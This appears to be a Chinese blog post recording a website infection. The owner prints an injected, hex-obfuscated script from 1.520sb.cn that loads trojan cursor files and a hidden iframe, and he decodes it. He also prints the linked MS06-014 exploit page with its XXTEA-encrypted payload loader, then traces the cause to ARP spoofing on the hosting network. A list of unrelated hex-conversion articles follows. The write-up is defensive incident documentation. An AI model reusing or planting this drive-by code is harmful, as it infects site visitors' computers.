16进制的转换之javascript运行时会自动转码

此时检查网页源代码可发现网页顶部被加入了一句<script src=http://1.520sb.cn/1.js></script>
但这句代码不常出现
原以为服务器被人攻击了或者是服务器中病毒了
检查过所有出现过问题的页面及相关文件
没有发现异常
服务器也没有找到入侵痕迹

把这个js文件下载到本地,打开后发现是如下代码
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x31\x2e\x6a\x70\x67\'\x29\"\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x44\x49\x56 \x73\x74\x79\x6c\x65\x3d\"\x43\x55\x52\x53\x4f\x52\x3a \x75\x72\x6c\x28\'\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x6d\x61\/\x32\x2e\x6a\x70\x67\'\x29\"\x3e\x3c\/\x44\x49\x56\x3e\x3c\/\x44\x49\x56\x3e");
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]("\x3c\x69\x66\x72\x61\x6d\x65 \x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x31\x2e\x35\x32\x30\x73\x62\x2e\x63\x6e\/\x74\x6a\x2e\x68\x74\x6d \x77\x69\x64\x74\x68\x3d\x30 \x68\x65\x69\x67\x68\x74\x3d\x30\x3e\x3c\/\x69\x66\x72\x61\x6d\x65\x3e")

16进制的转换,由于javascript运行时会自动转码,这段代码被嵌入后打开网页即自动运行。
我们使用document.write语句,把这段代码打印到页面上,转换后代码为
window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/1.jpg')">");window["document"]["writeln"]("<DIV style="CURSOR: url('http://1.520sb.cn/ma/2.jpg')"></DIV></DIV>");window["document"]["writeln"]("<iframe src=http://1.520sb.cn/tj.htm width=0 height=0></iframe>")

http://1.520sb.cn/ma/1.jpg 和 http://1.520sb.cn/ma/2.jpg是两个木马文件,具体未查,http://1.520sb.cn/tj.htm包含统计和一个MS06014漏洞的利用脚本http://1.520sb.cn/mm/06014.htm

http://1.520sb.cn/mm/06014.htm的内容为
<script language =javascript>
function utf8to16(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i<len){c=str.charCodeAt(i++);switch(c>>4)
{case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x1F)<<6)|(char2&0x3F));break;case 14:char2=str.charCodeAt(i++);char3=str.charCodeAt(i++);out[out.length]=String.fromCharCode(((c&0x0F)<<12)|((char2&0x3F)<<6)|((char3&0x3F)<<0));break;}}
return out.join('');}
var base64DecodeChars=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function base64decode(str)
{var c1,c2,c3,c4;var i,len,out;len=str.length;i=0;out = "";while(i<len)
{do
{c1=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c1==-1);if(c1==-1)
break;do
{c2=base64DecodeChars[str.charCodeAt(i++)&0xff]}while(i<len&&c2==-1);if(c2==-1)
break;out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));do
{c3=str.charCodeAt(i++)&0xff;if(c3==61)
return out;c3=base64DecodeChars[c3]}while(i<len&&c3==-1);if(c3==-1)
break;out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));do
{c4=str.charCodeAt(i++)&0xff;if(c4==61)
return out;c4=base64DecodeChars[c4]}while(i<len&&c4==-1);if(c4==-1)
break;out+=String.fromCharCode(((c3&0x03)<<6)|c4)}
return out}
function long2str(v,w){var vl=v.length;var sl=v[vl-1]&0xffffffff;for(var i=0;i<vl;i++)
{v[i]=String.fromCharCode(v[i]&0xff,v[i]>>>8&0xff,v[i]>>>16&0xff,v[i]>>>24&0xff);}
if(w){return v.join('').substring(0,sl);}
else{return v.join('');}}
function str2long(s,w){var len=s.length;var v=[];for(var i=0;i<len;i+=4)
{v[i>>2]=s.charCodeAt(i)|s.charCodeAt(i+1)<<8|s.charCodeAt(i+2)<<16|s.charCodeAt(i+3)<<24;}
if(w){v[v.length]=len;}
return v;}
function xxtea_decrypt(str,key){if(str==""){return"";}
var v=str2long(str,false);var k=str2long(key,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta&0xffffffff;while(sum!=0){e=sum>>>2&3;for(var p=n;p>0;p--){z=v[p-1];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[p]=v[p]-mx&0xffffffff;}
z=v[n];mx=(z>>>5^y<<2)+(y>>>3^z<<4)^(sum^y)+(k[p&3^e]^z);y=v[0]=v[0]-mx&0xffffffff;sum=sum-delta&0xffffffff;}
return long2str(v,true);}
t="WxVGrqSVCFufJ2Q0UfFATtOcAf7JQXBkZV5bKcf0Dq/Y74mVvPn26A0t/IvHny4Yh4RYYIac/VDS3fyve81yHK1BjvX1Apl4NHpl/rnNED15lBZ+yMHdIxfcQnLw5Tl5fe/bM63GEdjh7hK3lks0phVie1B12g3fdnKwC2+mgNUlhUXA4+iyLe+NS68c7H4YNAYz++0kv/Pj5JtzWlqB9VuRmblzgTr1kVs6LwzBz5T7LqIWEMc75crmEnBaon4kCBNpiOI78chxVuqUICBOSDBJ5kCblDNsUh6XSUZsGJFbEfwEmaP4IpqYh/9XhLZ7r18whNFb2sDry116kkZOWlWv9jaqRx5MEgPDqtXgBWKR9MCDmZWxdeJ+VYhbnt9c/wnRAh7gq/1FfvbaSmWIMYTEb0cJ7BA9UQCCVguxB9xRrKjmd/qx6JgmUhashgxcR3T9jLk+TDLolNuvGw8DFNnv0orM403xi52oRsTdOTKj+h+jxUjWc8GlZ5Nsy4av4fokSt567oAB45KsK9FcrWgKV3vOhIsdrSSfAIVeUgj+4MGz5k9jdLHVMXaitumnbE5PZXiapExEtz0pliqK80XFipcB5Qy/CdHSEhb5L0Ctl2JDsavLC9ve02HDIAi7ISAaHlBgMTBH2s7tnHQh/IFHZPF898HpKBDM5Nf2sIuuirYTDlXb7KzhJruYRWU+ew715RyhSCqQheW9JZtCXSh25mpbQKw/2qbusz6diL36lJcLy8L/aro7aQyiSFeOa8H/0+85ZAC5o2Pw6DBwYSNrJdcOAMNLcTwJncVKbAOl7B7kwkWASCW3l+17fOGiKU9L+qs1Z1bmbDzqDSK98FNwOvI/lQ9jkEW8tP6BQZZy6un+4ozgxANpQUyZrq2CqAJXRXLxZabDj9Bq1N/2EdVKjYfgsRfqWaFe4owXS7a11WeBE9KuR3/P5lp3G/e4oPt0qVjUT+NlF3rCuf9eEw+3L/OpR8KVZboUOkV5bhWxiWLkf/HhhK3YeGMPaO6uJlFkmLroHoZnYAi1/oDNGziqc61FE2m/kbdOWUwX8tNmh16wb5Uf3g2NZ3M6Ma13kjEqus9hThzGrImK5YsXHS5e0Ludet04HStXz81rVHkivtiT";
t=utf8to16(xxtea_decrypt(base64decode(t), 'fuckjapan'));
document.write (t);
</script>

记录待查。
由于没有查到服务器设置被更改及入侵的迹象,上网搜索了一下520sb,看到有人说到:和你们说的都无关 这是arpsniffer的一种,数据包在送出到达网关的过程中被劫持 主要原因是内网有计算机被控制,通过arp欺骗手段在某些关键字里加的。即使是简单的html页面也会被加入。因为arp技术的不稳定性,所以劫持的成功率不一样。
呵呵。客户有次遇到过,最后原因就是这个,重装系统都没用,找出那个计算机是关键
http://www.im286.com/archiver/tid-1886972.html
http://linux.chinaunix.net/bbs/thread-886420-4-1.html
那么就是说是服务器局域网的问题

想起万网有提供一个软件绑定网关ip和mac地址用来防止arp欺骗的小软件,连忙下载后运行,提示绑定成功,
刷新网站,但是发现插入的病毒代码依然存在。

打电话到万网,得到确实是arp欺骗的肯定回答,答检查有问题的主机需要到下周一,提示我下载他们的mac绑定工具,就是我原来运行的那个小软件,让我重启后再观察。

目前为止,问题貌似已解决,记录以上待查。

由于本blog放在同一服务器上,请这周浏览过本博滴朋友及时升级杀毒软件,并做好杀毒工作,如因此造成了任何损失,本人只能深深的致以歉意。

ps:520sb.cn的域名所有人是一个名为牛晓潘的sb,看看这个域名就知道了。

(0)

相关推荐

  • javascript简单进制转换实现方法

    本文实例讲述了javascript简单进制转换实现方法.分享给大家供大家参考,具体如下: JavaScript下的进制转换非常方便,系统已经提供内置方法,提供2-36进制间的转型.直接提供表示的有8进制.10进制.16进制. var w=function(s){document.write('<br>'+s)}; //十进制转其他 var x=110; w(x); w(x.toString(8)); w(x.toString(32)); w(x.toString(16)); //其他转十进制

  • javascript实现十六进制颜色值(HEX)和RGB格式相互转换

    在日常开发中,经常会用到不同格式的颜色域值之间的相互转换,以下给出一种解决方法. 复制代码 代码如下: //十六进制颜色值的正则表达式 var reg = /^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/; /*RGB颜色转换为16进制*/ String.prototype.colorHex = function(){     var that = this;     if(/^(rgb|RGB)/.test(that)){         var aColor = th

  • javascript parseInt() 函数的进制转换注意细节

    parseInt(string, radix) 有2个参数,第一个string 是传入的数值,第二个radix是 传入数值的进制,参数radix 可以忽略,默认为 10,各种进制的数转换为 十进制整数(如果不是整数,向下取整). radix 的取值范围是 2~36,如果 radix 为 1 或 radix>36 ,转换结果将是 NaN ,如果 radix 为 0 或其它值将被忽略,radix 默认为 10 . 该函数要求第一个参数是字符串,如果不是字符串将被转换成字符串,而且,在进行转换之前,字

  • 使用JavaScript进行进制转换将字符串转换为十进制

    JS 是一个很神奇的语言,内制的的很多函数可以帮我们进行数(进)制转换: JS中可以直接使用16进制: var a = 0xff; //255 将任意进制字符串转换为十进制,如二进制,八进制,十六进制, 第二数数不写即为最常用的转换为整型十进制: 复制代码 代码如下: parseInt("11", 2); // 3 2进制转10进制 parseInt("77", 8); // 63 8进制转10进制 parseInt("af", 16); //1

  • Javascript进制转换实例分析

    本文实例讲述了Javascript进制转换的方法.分享给大家供大家参考.具体如下: <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>进制转换</title> <script t

  • JS中的进制转换以及作用

    js的进制转换, 分为2进制,8进制,10进制,16进制之间的相互转换, 我们直接利用 对象.toString()即可实现: 运行下面代码 //10进制转为16进制 (10).toString(16) // =>"a" //8进制转为16进制 (012).toString(16) // =>"a" //16进制转为10进制 (0x16).toString(10) // =>"22" //16进制转为8进制 (0x16).toSt

  • JavaScript 十六进制RGB色码转换器

    十六进制RGB色码转换器 风越ASP代码生成器 255) x=255 if(x =0 && curD.style.pixelLeft255){ curD.style.pixelLeft=255; //alert("Sorry, but you can not have RGB values that are over 255!") eval(curD.value+"_value").innerHTML=curD.style.pixelLeft } i

  • 用js实现的十进制的颜色值转换成十六进制的代码

    function MyColor(name,r,g,b){ this.name=name; this.red=r; this.green=g; this.blue=b; } MyColor.prototype.hexValue=function(){ var hR=this.red.toString(16); var hG=this.green.toString(16); var hB=this.blue.toString(16); return "#"+(this.red [Ctrl

  • JS中字符问题(二进制/十进制/十六进制及ASCII码之间的转换)

    var a='11160'; alert(parseInt(a,2)); //将111做为2进制来转换,忽略60(不符合二进制),从左至右只将符合二进制数的进行转换 alert(parseInt(a,16)); //将所有的都进行转换 依照此方法,其实可以转换成任何进制 var a='1110'; alert(parseInt(a,10).toString(16)); //将A转换为10进制,然后再转换成16进制 同样也可以是其它进制 下面说下ASCII 码: function test(){

  • javascript常见数字进制转换实例分析

    本文实例讲述了javascript常见数字进制转换的方法.分享给大家供大家参考,具体如下: 基本思路是先把其他进制的转化成 十进制,然后再转化.这个过程是利用parseInt函数,例如把一个16进制的数字(num)转化成10进制,num = parseInt(num,16). 如果再想把它转化成二进制的,就是如下:num.toString(2) . 这其中关于16进制的一个函数也很特别,escape函数可以将一个字符串转化成16进制的数字. 下面是一个综合的例子: var a = escape(

  • javascript中简单的进制转换代码实例

    复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  <html xmlns="http://www.w3.org/1999/xhtml">  <head>  <meta http-equiv=

  • Javascript实现颜色rgb与16进制转换的方法

    本文实例讲述了Javascript实现颜色rgb与16进制转换的方法.分享给大家供大家参考.具体如下: 使用方法: Color(12,34,56); Color("#fff") Color("#defdcd") 实现代码: //颜色转换 var Color = function() { if (!(this instanceof Color)) { var color = new Color(); color._init.apply(color, arguments

随机推荐